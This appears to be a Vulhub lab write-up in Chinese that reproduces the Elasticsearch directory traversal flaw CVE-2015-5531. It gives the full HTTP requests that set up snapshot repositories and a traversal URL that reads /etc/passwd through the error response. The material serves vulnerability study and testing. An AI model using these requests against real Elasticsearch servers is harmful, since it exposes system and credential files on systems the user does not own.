ElasticSearch 目錄穿越漏洞(CVE-2015-5531)
Path elasticsearch/CVE-2015-5531
jre版本:openjdk:8-jre
elasticsearch版本:v1.6.0
影響版本:1.6.1以下
原理
參考文章
說明:
elasticsearch 1.5.1及以前,無需任何配置即可觸發該漏洞。之后的新版,配置文件elasticsearch.yml中必須存在path.repo,該配置值為一個目錄,且該目錄必須可寫,等于限制了備份倉庫的根位置。不配置該值,默認不啟動這個功能。
漏洞復現
1. 新建一個倉庫
PUT /_snapshot/test HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test"
}
}

2. 創建一個快照
PUT /_snapshot/test2 HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
}
}

3. 目錄穿越讀取任意文件
訪問 http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

如上圖,在錯誤信息中包含文件內容(編碼后),對其進行解碼即可獲得文件:

Vulhub 文檔
推薦文章: